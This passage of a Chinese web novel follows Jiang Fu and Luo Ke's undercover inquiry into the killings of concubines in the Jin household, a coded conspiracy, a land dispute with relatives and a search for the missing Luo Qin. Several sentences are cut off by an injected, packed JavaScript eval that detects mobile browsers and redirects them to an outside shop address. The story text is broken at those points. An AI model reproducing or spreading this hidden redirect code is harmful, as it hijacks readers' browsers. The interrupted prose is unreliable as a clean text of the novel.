这大夫看着发须花白,实则身体强健,功夫不浅。一进门,他率先看的不是受伤的蒋芙,而是院子里的陈设。 见丫鬟们各司其职,姨夫人祝安除却对妹妹的忧心以外也并无异样,便踏踏实实给蒋芙包扎外伤。 “这几日不要沾水了,忌吃辛辣之物,也不要饮酒。她听不懂,夫人可要帮忙留意着。” 骆岢点头:“自然,有劳医师诊治。” 大夫道:“不必,我本就是金府的家仆,为主人分忧是分内之事。” 骆岢追问:“那换药的事……” 大夫道:“一天换一遍,夫人交代手下的人做就好。” 临走,他叮嘱那些丫鬟:“都机灵些,夫人若喜欢什么,统统置办回来,夫人年纪轻轻嫁来府里,一定要让她每天都开开心心地过!” “是。” 蒋芙被人伺候换了身干净的衣服,吃了些清淡温和的粥食,胃里和身体都被服饰周到了。 她躺在床榻上思考早上和杨舟的对峙。 可以得出的信息是: 1.杨舟和“小绿”,也就是祝安之前的那位季院夫人关系匪浅。小绿提前知道自己会死,求杨舟救命。但杨舟没有救。 2.满银是金府案子的中心人物,杨舟似乎能在他面前说上话,不然小绿不会让杨舟救她。 3.姨夫人的死是必须的。但是姨夫人的人选是可以替换的,也就是身处这个位置上的人必须死。 为什么? “还疼吗?” 骆岢将门合上,款款移步坐到她床边。 他今日穿的是粉色诃子裙,薄纱上用金线绣了锦鲤纹,宽大袖衫衣袂飘飘,很有长安淑女风范。 蒋芙伸了被包裹成柱体的手给他,药布最外层透了血痕。 此时已经看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282523|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来什么,但骆岢看得很认真,认真里混杂着一种难过的情绪。 蒋芙把晨间与杨舟发生的事一五一十转述给了他。 他听完以后,分析的和蒋芙所想差不多。 蒋芙想不通:“金无尽既不图财,又不图色,他到底为什么总要杀小妾?甚至连这个小妾是谁都不重要,只要算是他的小妾,就可杀。” 骆岢道:“如果小妾的死可以作为一种暗号的话,就解释得通了。” “暗号?” 骆岢点头:“正是。我问过手下的丫鬟,她说金府的后宅分为四个院子,伯仲叔季,我实地查探过,地理位置对应的是东西南北方向。” “正常人家,尤其是商人,家中布置讲究风水,以保运势亨通,金府却尽显随意。” 蒋芙插话:“公子连风水都懂?那你会算命吗?” 骆岢道:“学礼时看过些书,并没接触过命格之事。娘子想算命吗?” 蒋芙道:“等闲下来再说吧,我确实想算。” “咱们说的这些怎么传出去给白将军他们?” 骆岢道:“午后我去院子里坐等一个时辰,接头的人看到会设法与我联络。” “就一动不动干等吗?” “白郎说这样不易打草惊蛇,一方传递信号,另一方再……” 蒋芙等了一会儿,他都没有后话。 如果这不是在遥远的封建时代,她都有点怀疑是不是发现窃听设备或者监控摄像头了。 骆岢继续道:“蒋娘子,我突然想到,四个院落姨夫人的死或许与我们一样,就是为了能不动声色向外界传输一些只有特定人能看懂的信息。方位与人数,还有那瓶酒里的人眼数量。这便是姨夫人位置的人必须死背后的意义。” 午后,骆岢如他所说,去院落里晒太阳。丫鬟们起初还陪着,后来被他温柔劝说,都回了各自的住处休息。 蒋芙在榻上躺着。 案子已经进展到她搞不懂的境界了。用人的死亡传递暗号总感觉没什么必要,直接派个武功高强的手下递信不是更方便吗?而且一个商人,员外郎,他有什么秘密需要用人命送出去? 蒋芙品味金无尽以及府里管理层对姨夫人们的态度,似乎都是打算让她们趁活着的时候把人间的乐都享过一遍,且没有残害无关紧要人性命的打算。 所以府里接连死人,丫鬟小厮们却待得安稳,他们知道他们不会丢掉性命。 而坊间亦是,即使流传金员外对年轻女子有特殊癖好,也有人愿意把女儿或妻子送过来换取钱财。 蒋芙想得深入,回过神来,床榻边出现一个意外的人。 杨舟不声不响站在她床头,面容恍惚看她。 蒋芙由衷地害怕,往床榻里退缩。 杨舟道:“宁娘子,你在想什么呢?你也有烦恼吗?” 蒋芙脑海里闪过一千种可能,但即便她认出她是装傻的,这傻也要继续装下去。有些事死不承认就是真的。 “别、别掐我!” 杨舟摇摇头,无力道:“我不会掐你了,宁娘子,我那时候是帮你赶坏人呢,坏人进了你的身体里。” “没有坏人!你坏!” “有的,你看不见,只有我能看见。” 杨舟拿起她带来的篮子,里面是一些新鲜的桑葚,被洗得干干净净,没有一丝杂质。 “宁娘子,我喂你,啊,张嘴。” 蒋芙犹豫了一下,张嘴吃了。 甜的,和以前夏天母亲摘给她吃的一样。想到这里,再咀嚼便有些鼻酸。 “我来找你说说话,这个府里,除了你没有人能跟我好好说话了。” 杨舟摸摸蒋芙的头:“等你姐姐也死了,我就做你的姐姐照顾你,相信我,我们能在这个府里过得很好。” “小绿以前,就叫我姐姐。她死了,还是我给她收尸的。” “你不知道小绿是谁,小绿就是那个欺负你的鬼,被我给赶跑了,我救了你。” 又是一口桑葚。杨舟有些入魔似的。 “她怪我是应该的,我没救她,还在她死后往她里面塞了东西。” “是满大人让我做的,但小绿不知道,她只知道在每晚找我报仇,问我为什么要毁她尸身清白。不是我想做的,我也很害怕。为什么要找我呢……” 21. 第 21 章 杨舟的话信息量过大,蒋芙一边吃她喂的桑葚,一边反应。 塞东西,毁清白,那就是往女子□□。 人都死了,还折腾?畜生。 还是说就是为了折腾这个,要把人弄死?罪该万死的畜生。 待杨舟去做工后,蒋芙到院子里把这件事告诉了骆岢。 他深吸一口气,男女之间的避讳被心中道义压了下去,面色愠怒。 日光下,蒋芙吃过桑葚的嘴唇呈绀紫色,将本就白皙的皮肤衬得透了一层玉色。她依偎在骆岢膝下,是为做戏,骆岢明知如此,却还是忍不住心生排斥。 与蒋芙相识,像是将他过去十几年刻意与女子保持的距离都偿还了回去。 不论公私,他们都牵扯太多。 这次为白明旭做完事,他们真的不必再见了。 蒋芙不知骆岢如何与白明旭联系的,中午阳光太晒,她待了一会儿便受不住回屋里躲阴凉,之后被杨舟找去,没再赶得上问什么,一天就过去了。 杨舟为她梳洗打扮,尽心尽力,同行的丫鬟骂她疯了她也不理。 蒋芙愈发脊背发凉,因为她看上去太执拗了,像是把心剖出来疼爱她。 而她对蒋芙好的方式,就是给她做菜吃,做好了要一口一口喂她嘴里。 蒋芙越害怕她,就越吃不进,吐了几回,彻底病了。 大夫给她开药调理,杨舟做主煎药。 碗温温的,汤匙递到蒋芙眼前。 药汁浑浊呈褐色,吃进嘴里一股苦腥味。蒋芙被杨舟不停地喂,那女人坚信大夫开了多少剂量便要吃下多少剂量,一直喂蒋芙到见砂锅底。 再呈来时,汤匙中有红褐色膏状物体。 蒋芙盯着愣住,然后看到杨舟手腕处的创口。 “呕——” 折寿了,她绝对折寿了。 杨舟见她将才吃下的药吐了出去,担心地将她按回到床榻上,用被子把她压住。 “宁娘子,不要再吐了,药都吐出来就不起效果了。听话,吃了药就舒服了,就好病了。” “我听别人说,人血治病最快,我给娘子用了不少,娘子听话不吐,乖乖睡下,明早就痊愈了。” 蒋芙睁着眼,泪从眼眶里涌出来。她躺着呕,部分药液已实打实进了肚子,再想吐出来要扣嗓子,杨舟岂会给她机会折腾。 这个疯子。 “姐姐……我要姐姐……” 杨舟很是感动:“宁娘子叫我姐姐?” “……” 蒋芙不叫了。 之后又被玩弄了几天,她有些装不下去了。不过外在效果没什么差别,只是从一个活泼的傻子变成了破碎的傻子。 这几天也足够她看清,杨舟已经不再有观察价值。 于是她跟骆岢商量:“我要把这个杨舟做掉。” 这些天蒋芙所经历的,骆岢都看在眼里。他怜悯蒋芙无端遭受的苦难,只是。 “你要怎么做?” 蒋芙道:“我要叫张闵,让他把杨舟带出去捆了。什么时候事情结束再放了她,你觉得可行吗?” 听到她提张闵,骆岢忽然抬眼,转瞬将目光收了回去:“金府突然失踪一个丫鬟,唯恐背后之人警觉。” “但那个满银好像挺在意杨舟的,说不定她失踪了,能引出什么。又或者之后事成,也算是一个要挟逼供的筹码。” 她说得不无道理,显然是深思熟虑过的。 骆岢道:“此事待我问过白郎以后再行定夺。” 蒋芙哀怨一声:“问他又要等好久,我受不了了!” 音量过大,骆岢情急之下捂她嘴:“娘子小声些。” 见蒋芙眼睛眨巴眨巴望他,他面上滚烫着收手,避开视线:“万分抱歉,蒋娘子,岢只略通诗书,不擅谋略,此番也是替人办事,实在无权替娘子做主。” 他这么解释,蒋芙也无话可说。 郡公公子芝兰玉树般的人物,耳朵听的、眼睛看的肯定全都是风雅文辞,对这些无甚头绪在情理之中。 蒋芙只好怀揣着恐惧入眠。 第二天,杨舟点卯似的来她面前。 “宁娘子,今天不要去伯院,那头的姨夫人死了,府里上下张罗着丧事呢。” 蒋芙打了个哈欠:“……什么是丧事?有吃的吗?” 杨舟笑了:“宁娘子想吃什么,同我说,莫要去那边嘴馋。” 像是怕她不听话,有意恐吓:“这次那边两个眼睛都挖出来了,血淋淋的,从洞看得见脑子里的东西,白花花的。” 蒋芙:“……” 她:“呜啊——呜呜呜……” 杨舟于是心满意足地安慰她。蒋芙这次如何也不让她安慰好,穿好衣服便躲去骆岢身边了。 先前已经对白明旭报告了府里的情况,如今人死了抬出去,他定会派人行动。 蒋芙硬赖在骆岢身边,等着外面的消息。 差不多了,事成不成,就在今日。不当场戳穿金无尽,后续再怎么找证据也没用,只可能又是一个挂名管家出去顶罪,连满银都除不掉。 杨舟来请了蒋芙几次,她皆不为所动,装出被她吓坏的模样挂在骆岢身上。 骆岢温柔笑道:“阿宁耍赖皮呢,杨舟姑娘不用管她,让她在我这赖着吧。” 被正派姐姐这样说,杨舟不得不一步三回头地离开。 四下无人,骆岢道:“蒋娘子总有让人真心与你结交的才能。” 蒋芙感到恶寒:“这是哪门子才能?” 骆岢道:“不止杨舟,沈娘子不也是?当日娘子落难,文王便是沈娘子请来相助,她自有难处,却愿倾尽全力保娘子平安。” 提起沈听南的下一刻炸毛,似乎成了蒋芙的本能反应。 她兀自缓了缓,文王的事是她欠沈听南的。蒋父案子结了以后,她在洛城收拾母亲的遗物和田产,沈听南那边也在出席各路贵女的宴会,两边一直没有机会见面把事情说清楚。 她还不知道沈听南这回又是吹了哪门子风。 不过,她倒是看出来一件事。 “文王一事是沈听南告诉你的?” 骆岢看她眼神戏谑,有些不舒服:“是又如何,不是又如何?这是既成的事实,蒋娘子竟不心怀感恩吗?” “她怎么跟你说的,你跟我学学?” 是含泪欲下,还是梨花带雨?又或者是凌雪红梅? 做点好事要让整个洛城都知道,这是沈听南一贯的作风了。 骆岢神情冰冷,仿佛对她失望至极。救命之恩罔顾,在背后对恩人冷嘲热讽,评头论足。 她为人这般,是他错看了。 他一言不发从她身旁起身,往院子里走。 蒋芙被他这轻视的态度气到,火冲心口,马上要发作,但这是什么场合? 她想了想杨舟让自己冷静下来,跟疯子比起来,贱人的贱也是有可爱之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295739|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 她不就是想听听沈听南的表现,判断她是怎么想的吗!那女人城府最深,想听实话太难,只能从她所作所为里推断她。况且她有说自己不会报恩吗?他什么态度? 再说,不报恩怎么了?犯法?她跟沈听南的事关他几根毛? ……停,想想杨舟。 两人在季院里谁也不理谁,一整个上午,都没见到丫鬟们,包括杨舟。 下午,院门被人打开,白明旭亲自来接。 “人已经抓住了,证物也都在官署储存,这回多谢你们了。” 白明旭话说完,无人应答,两人脸色也都不好看,像是刚吵了架。 他们是怎么敢在这种地方吵架的? 蒋芙梗着脖子不吭声,骆岢神情冷淡。 蒋芙想到了什么,绷着脸动了动,四下张望。 抬头,张闵站在院中那棵些微褪色的梧桐树上,抱剑静望她。 对上视线的那一刻,蒋芙眼眶不受控制地涌出眼泪,模糊了视线。 她一个劲地擦,怎么也擦不干净,便咬着唇若无其事地任它流。 不能示弱,这人不爱她,示弱也没用。 娘死了,她得坚强起来。 她哭什么呢? 没什么好哭的,刀尖上走一遭,她是害怕了,见到熟人心生委屈,所有人都这样的。 沉浸在自我开导的情绪里,一只熟悉的手捧了她的脸,用拇指擦拭她的泪。 张闵问:“回家吗?” 蒋芙大脑就此空白,她想,这三个字可真厉害。 “嗯……!” 鼻涕给“嗯”出来了! 她慌乱捂住下半张脸,背过身,隐晦拿手帕擦。 又在他面前丢人了。 快速擦好,她像什么都没发生似的,两手直挺挺带着胳膊抬起来。 “我累了,背我回家吧。” 张闵将蒋芙背起,欲走。 蒋芙捏他肩膀一下,他停步,她回头跟白明旭道别。 “白将军,我此番帮了你大忙,太深的东西我不在乎,也不想搞懂,我只希望你最后让金无尽死得很惨很惨。” 此事牵扯颇深,她率先这样说,将自己摘出去,已是好意。白明旭郑重道:“请蒋娘子放心,一切结束以后,我必定让金无尽死无葬身之地!” 蒋芙信了,与他点头。 随后,她看向脸色阴沉的骆岢,两人眼神对上,蒋芙狠瞪了他一眼,没有留话,让张闵背着她走了。 人走后,白明旭道:“此番要事,多谢公子冒险。” 骆岢沉默着松下身上戴的披帛,拎在手里,摇了摇头,是不必言谢的意思。 白明旭故意道:“公子?是发生了什么让你难过的事?怎么这副样子?” 骆岢脚步顿住:“我并非难过。” 白明旭“哦”了声,笑嘻嘻的:“还以为你看蒋娘子与别的郎君青梅竹马,心里忧伤了呢。” “我与她非亲非故,为何忧伤。” 他句句都答,很有耐性,却没有一句是看着人眼睛说的。 换回自己的衣服,卸妆梳洗,脖颈上还残留着蒋芙的咬痕。 非亲非故,为何忧伤? 他自知承受不住身边人的厌恶、冷眼,所以一直以来都小心谨慎,不敢辜负他们的期待。 今时今日,他却自负至此,连蒋芙无理的讨厌也无法承受吗? 分明她错了。 22. 第 22 章 伯院姨夫人之死带出的密物封在一颗蜡丸之中,还没运出府便被白明旭手下扣住,按照蒋芙给的证词,用懂医理的女官取出。 蜡丸中记载:纵三十横连五 伯仲叔季,东西南北,每个院中均藏有人眼酿的酒,女眷尸体里携带的消息。 桩桩件件,证据确凿,却难以破译。 白明旭的时间不多,从他当场拿下金无尽开始,洛城牧亲自见了他一回,先叙旧情,后嘱咐他从此事中脱身,此后莫要再查,不然便是不孝。 “不孝?” “我父兄俱亡,白家唯我一个后人,我要是死了,不就是不孝吗。” “……” “这是中书崔相的手信,这是金吾卫中郎将陈大人的,吏部尚书裴大人也有。”白明旭偏头,觉荒谬而笑,“这些位高权重、天子脚下的人,如今皆来为我洛城一小小员外郎求情,公子,你说这金无尽的背后到底牵扯了什么?” 骆岢沉吟片刻,问:“审了吗?” 白明旭将文书扔到桌上:“审了,审不出来。他一口咬定是私人怪癖,并无任何隐喻。我把他那个得力手下也审了,那人嘴更严,什么都不说,还是我想起你提过一侍女,将她带到那罪人面前,他才动摇着招了几句。” “他说,金无尽具体做什么他也不知情,府里的人不要审了,都是白费力气,他们这些下人守的是一个秩序,不是秘密,背后的真相需要抓到背后的人。” 白明旭烦躁道:“我要是能抓到背后的人,也不至于审他们了。” 他敲打梳理出的数字:“到底代表什么……” 指尖敲击木桌的声音断断续续,白明旭沉浸了思考里。 良久,外面下起了秋雨。湿润的雨气从窗户溅进来,轻柔的冲刷声让人心渐渐宁静。 骆岢道:“你都猜过什么?” “嗯?” “那些数字的含义。” 白明旭掰着手指算:“四面八方的粮价盐价、仆役数,那些都没有吻合的。” 骆岢眸色幽深:“将京中大员牵扯其中的,应该不会是蝇头小利。我于世情所知甚少,你想想你那边,有什么是能与‘北十二’照应上的。” “我那边?我知道的也不多啊。按照军中事宜,北部十二……” 边说着,白明旭边翻他书案上的卷宗。 “对不上,河北有二十四州,一百四十县。军镇有三,幽州、呈贤、宜善……” 他盯着某处沉默下去,随即大步迈回那张罗汉床,将方才展与骆岢看的数字捡起来,重新思索。 他神情惊心动魄,仿佛触动了什么命脉。 骆岢并不好奇他猜到什么,也无心再过问朝廷机密,整顿衣裳告辞。 白明旭感激好友的分寸,待他走后,他将书房的门关紧,招呼手下把守,将他想到的东西誊写到一张纸上。 季院对应北部,十二颗眼珠,密信不明。 河北有十五世家,崔、陈、裴、王等都在其中。若是这般对应,那便是豺心豹胆,长安与地方勾结。 白明旭依次计算东西南向,后背窜上一股凉意。 如此分析归拢,天下大半皆与长安暗通款曲。 天子尚在,他们这是要做什么? 他将手稿焚毁,下狱再审金无尽。 果然,将推测言明,金无尽脸色惨白,大声叱问谁是叛徒。 白明旭心中为自己聪明才智沾沾自喜,不动声□□导着金无尽说几个他的同伙。 金无尽冷静很快,反应过来白明旭知道的并不多,只是在套他的话,便不再多言。 他森森道:“白小将军,少年英才。你由白氏残部哄骗着长大,那些人满口忠君爱国,令你也迷了心志,于是淡忘你父兄为何而死。为人臣者,最致命的就是选错了效忠的人。” “这个我知道。”白明旭抱臂道,“选错人代价很大的,要下地狱呢。” 金无尽笑看他:“郎君事到如今,可有什么新打算?现在还来得及。” 白明旭道:“有啊。” “请讲。” “我受女孩子所托,本想亲手送你下地狱。” 白明旭走近他,俯身:“可我现在发现,你似乎比我想象中更重要,再留你在阳间待上一刻也无妨。” 说完,他冷脸出了牢狱,吩咐手下:“用刑,撬他的嘴。他愿意说了就来报我一声,不愿意就折磨到死为止。” “是。” 蒋芙全然不知自己参与进了天大的案子。 她回家睡了两天,拉着张闵热火朝天要家里地产去了。 蒋父虽是小官,但到底是官,职田还给朝廷,手下还有五十亩永业田,归属私田,再加上蒋家原先的那些,卖了就是一笔钱。 蒋父当年小人得志,做了官就把地给那几个八竿子打不着的亲戚种,租金也不收。如今家产全是蒋芙的,她的钱,得连本带利要回来。 蒋芙自觉占理,十分硬气踏进了亲戚家的门。他们都听说了蒋家的悲剧,起初忧心蒋芙找他们是为投奔,都故意卖惨。 蒋芙解释清楚是来收地租,把他们手下种了要十年的地收回去的时候,这些“体弱多病”的农夫农妇们陡然强壮了起来,威胁着用蛮力将蒋芙赶了出去。 “要钱没有,要命一条!好好的把地要回去,你让不让我们活了?” 蒋芙试图讲道理:“也没说非得把地收回去,你们也可以从我手里买下来啊!” “买什么买!你爹给我们种,便是我们的!你倒好,不孝的丫头,你爹尸骨未寒,就惦记起他的家产了!跟你那势利眼的娘一个模子刻出来的!” 蒋芙本来就没什么好脸色,扯到她娘,她登时动怒:“敬酒不吃吃罚酒是吧?我好好跟你商量,你居然说我娘?” “就吃罚酒了你能怎么样?你能怎么样?”妇人怼蒋芙的肩膀,“我就说你娘了!还高门大户出来的娘子,结果比谁都市侩!年年跑来我家要租金,那蒋文行都说白给我们种了,她来出什么头?现在好了,她死了,她女儿跟她一个样,钻钱眼里去了!” 她朝院外围着的村民们喊:“大家评评理吧,我这个不孝的侄女!家门不幸啊,我听说她在城里还勾引人家郡公府的公子呢,让人落了好大的脸!哎呦!我这在家都跟着丢人……” 蒋芙一个大耳刮子就下去了。很响的一声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14305456|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >妇人被打懵了,回过神来气得双目赤红,张手欲还。 张闵拦下她。 妇人的丈夫见状,拿了锄头来帮架,锄头对着蒋芙脑袋挥。张闵一脚将那陈旧农具扫成两半,吓得大汉空手半天没敢动。 蒋芙拔了张闵的剑,结结实实立在地上:“诸位都看见了吧?租地不给租金便罢,如今脸皮厚!不还地!还跟我一个孤苦小辈动手!不就是欺负我娘死了吗?我娘死了,我还有他呢!谁再欺负我试试?亲戚一场,我劝你们老老实实还地,刀剑不长眼,伤到你们可就不好了!” 妇人仰天大哭,没放弃让大家评理。她指着院门:“夫君!报官!去报官!让官爷给咱们评理!” 大汉不动。他们哪来的理,地是种了许多年,但地契一直都在蒋家那里,这要是经了官,他们必要吃亏。 之前去要来好了,蒋文行好面子,未必不给。他只是没想到他会死得这么早,也没想到他养了这么一个女儿。 蒋芙看那妇人哭得讨厌,又愤愤冲上去抓她头发抡了两巴掌。 “我娘就是给你们太多脸了!这些地租给别人,我家每天都能多吃一道荤菜!白给你们种,她死了还要挨你们说……!” 妇人大喘着气还手,张闵依旧去拦,蒋芙瞪了他一眼:“起开!我自己打!” 她痛痛快快跟那贱人打了一架。有了这一家样子,其余亲戚都答应把地连同这些年的租金还给他们。 出了村子,蒋芙还气着,不停扇风。 回城以后,它取了地契把地卖了,总共五十亩田,卖了六十五贯钱,老板折了银两给她,是六十五两银。加上那几户亲戚不情不愿给的地租,蒋芙现在也是小有积蓄了。 她依旧让张闵背着,拍拍被他一并驮着的银钱,不时吸吸鼻子。 “有了这些钱,我们去光州就能过好日子了。” “嗯。” “首先,我要给我娘办一场丧事。” “嗯。” “咱们有钱,就不去投奔我舅舅了。拜见他一下,咱们就在光州买个房子,做些小买卖。” “你会干什么?” 张闵思考:“煮面。” 蒋芙想起他做的那个面,难吃得要死。 遂道:“还是我来干吧。我会……” 她什么都不会,或者说,她只会干那么一点。 饭馆这类无路可走,留给她的路几乎没有。 “要不我找个有才的人嫁了,让他出技术,我出资金?” 她故意这么说的,想看看张闵什么反应。 张闵听了一愣,回头望她,眸子黑漆漆的。 蒋芙被他看,想着他一定不懂她的心思,他猜不到的,可还是不好意思,往后缩了缩。 “蒋娘子!” 一声呼唤打断了两人。 蒋芙松了口气,回头,马上高高坐着骆岢。他披着银白的斗篷,束发半披,用了殷红的绸带,秋风一吹,脸侧仙气飘飘打转。 他的美貌让街上所有人驻足看他,热闹的坊市之间变得静谧无声。 骆岢下马,神色有几分焦急。 “蒋娘子,沁儿这几日可有找过你?” 23. 第 23 章 那日骆沁与沈听南聊过光州以后,心中便逐渐形成了一份远行规划。 她长这么大,很少出洛城。小时候外祖在世,她和哥哥去过几次长安。外祖逝世,她再未有过赶路的机会。 光州是什么样的地方?她去那能找到芙姐吗? 稚嫩如她还想不到那么多。又或者说,她带着未知的憧憬,将包袱扔过院墙。 骆沁被星星托着屁股坐上墙头,翻过方向,一点点踩落了地。 星星紧随其后,主仆二人同样兴奋:“公女,咱们往哪边走?” 骆沁“嘘”了下,拍拍裹平的胸脯,又摸摸梳起的发髻:“在外边叫我郎君。” “知道啦郎君。” 骆沁满意一笑,将从哥哥书房里抄的地图拿出来,往上看了看天色:“戌时月亮在西,我们往东边走是光州。” “好。” - 蒋芙一进门,就见沈听南哭得梨花带雨,里外围了几层人。 “芙芙……” 她顿时感到窒息,躲开沈听南拉拉扯扯的手:“你跟我说说什么情况,怎么就断定公女是在找我的路上失踪的?” 沈听南用帕子擦脸:“公女问我光州路途的第二日,便称病避学。阿然发现不对去找时,人已经没了,也未曾去她的闺中好友处……都怪我,擅自说了不该说的话……” 同样将眼睛哭肿的丫鬟便是阿然。她揽过沈听南的肩膀,泣道:“娘子莫哭,此事万万怪罪不到娘子身上的,是我们这些下人疏忽……呜呜……” 找不到公女,被郡公知道了,院子里这些伺候的,院子外那些看守的,统统都要打死偿命,她们快要没活路了,一半哭公女,一半哭自己。 蒋芙回身:“你们派人去光州找了吗?” 骆岢心神不定:“派了,已有轻骑到了光州,却没找到妹妹踪迹,我……” 蒋芙用力抓他手臂,强迫与他对视:“你怕什么?公子,我问你一句,若公女遭人陷害,你要她还是要声誉?” 骆岢愣了一瞬,坚定道:“我要沁儿。” 蒋芙眼中划过赞赏,松了手:“那公子现在便收拾行李,我们往光州走,一个脚印一个脚印找,信我,一定能把你妹妹找回来。” “……”两人无言对视。 终于,骆岢垂眸颔首,吩咐手下:“去清点十名亲卫,带足银两,一刻之后启程去光州。” 他看向阿然:“父亲那边,一定要瞒住。” 阿然行礼:“公子放心!公子、公子一定要把公女好好带回来啊!” 沈听南擦干眼泪,道:“我亦同去!” 蒋芙看了这个闯祸精一眼,没理她,出门找张闵说光州的事。 无缘无故公女怎会提起光州,说不是她撺掇的,蒋芙死都不信。 她知不知道要是公女出了什么事,就闯大祸了? 还是她觉得背靠文王与如因公主,什么后果都能担待得起? “不是我。” 沈听南拉住蒋芙的衣袖,红着眼摇头,低声道:“我原本只是想她去郡公或公子面前多念叨你的事,让两位大人回心转意。” 蒋芙瞪她,虽气得不行,但声音也放小了:“屁,你当谁傻呢。你就是想让他们以为是我教公女说的那些,替我求情,好留在郡公府,你想让他们更讨厌我,让我离公子远远的!现在好了,公女要是有什么三长两短,看你怎么办!” 沈听南何尝不知她说的这些,她心里亦害怕:“可我只是说了,又没劝她去,我……” 蒋芙掰她的手:“你日日与这般人物周旋,还没看清吗?哪怕光州不是你告诉她的,你是她的伴读,她私逃出去遇到危险,你也一样获罪!” 沈听南眼中有了悔意:“那怎么办?” 蒋芙道:“你不是聪明吗?” 沈听南深深呼吸,牵她的手,十指相扣,任她挣扎也挣扎不开,仿佛系了死结。 “活要见人,死要见尸。没有结果之前,再怎么自乱阵脚都没有用。最差的结果,不过是失去前途罢了,我的命还没人要得去。” 蒋芙扯了下嘴角,放弃挣扎,用和她牵手的姿势下了石阶。 这才是沈听南。 阿然乃骆沁房中侍女,她检验库房物品,大致知道公女带了哪身行头走。 蒋芙提灯前行,将要宵禁,路上很少有人。 沈听南依旧拉着她,如影随形。 张闵跟在她们身后,再后面就是郡公府的亲卫与被卫兵簇拥着的骆岢。 “阿婆,你见过一个女扮男装的小娘子吗?她这么高,十一二岁的模样,长得很好。” 老妇摇头。 蒋芙逮到人便问。 亲卫首领赵江道:“蒋娘子,你这样问没用,先前我们都挨家挨户问过了,还是拿着画像问的,都没问出来。” 蒋芙滞了一瞬,想起与这人还有些渊源。当日郡公府设宴,就是这人觉得张闵与她可疑,将他们抓进牢狱的。 时过境迁,她与骆岢同行,他的态度也随之尊敬起来,可真好笑。 “没问出来便不问了?这就是你们找人的态度?给我离远点。” 说着,有一老伯从山上下来,背了一筐棠梨。他走路走得艰难,上身与地面躬成个直角,老态龙钟至此,蒋芙也没放过。 赵江轻蔑哼了声,这娘子给脸不要脸,甘愿白费力气,不就是为了在公子面前多露脸吗?他还管什么。 沈娘子在,就算她作到天上去,公子也看不上她呀。 “伯伯,你见过两个小孩吗?十一二岁大,男子打扮,长得很好,大概这么高……” 老伯颤巍巍停在那,作回想状。 他比了比肩膀:“这么高?” 蒋芙点头:“对对对!就这么高!” “长得有多好?” 蒋芙“呃”了声,灵机一动指骆岢:“像他那么好!” 老伯浑浊的眼睛看向骆岢,仔细端详过后,一点点回头,往西边指:“我从那头上山时,见到了两位话痨的小郎君。你们找人,怎么往这边找呢?” 蒋芙看向沈听南,后者眼里同样讶异。 光州不是要从洛城往东南方向走吗? 骆岢吩咐手下:“立刻派人去那边搜寻,有任何消息用鹰回信!” “是!” 眼看要宵禁,老伯着急回家,绕开这些人进城。 “且慢!” 蒋芙见骆岢匆匆行文士大礼,又将钱囊倾倒答谢银两。 没看全,视线便被一身黑的张闵挡住。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14315478|151900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他抱着剑,面无表情,灯光之下添了几分温柔。 “还去吗?” 他问还去不去光州。 眼下虽有了公女的消息,但人还没见到,蒋芙并未全然放心。 她道:“等见了公女,我跟她道个别再走。” 沈听南拉着她的手忽然一紧:“你们两个,一起去光州吗?” 蒋芙道:“怎么,我们俩分开去?我直接死半路上?” 沈听南被她噎了一下,找了找战斗状态:“芙芙如今便甘心了?家生子也无妨?” 话一出口,附近的几人都纷纷将视线投往蒋芙,都不是什么好眼神。 蒋芙尬在那,先和张闵解释:“那是我跟我娘说的气话。” 张闵很淡然:“嗯。” “你别往心里去!” “什么?” “我当时以为你喜欢沈听南,故意那么跟我娘说,其实我一点不在乎这些的,你也别在乎……” “在乎什么?” 张闵与平常无异瞧她,眸色似宁夜。 蒋芙哑了声。 沈听南接话:“是我失言,张郎君万万不要往心里去。芙芙绝对不是因为家道败落,只能选择郎君才说这些话的,她句句诚心,与郎君两小无猜,我可以作保没有一句假话……我……” 蒋芙黑脸:“沈听南!” “芙芙,你别生我的气……” 蒋芙两手并用拆她的手,终于将死死牵在一起的手解开。 用力瞪了一眼,她扔了灯往暗处走,没人来追她。 就算张闵再迟钝,也能听懂摆在明面上的话。 问题是,沈听南也没有说谎。 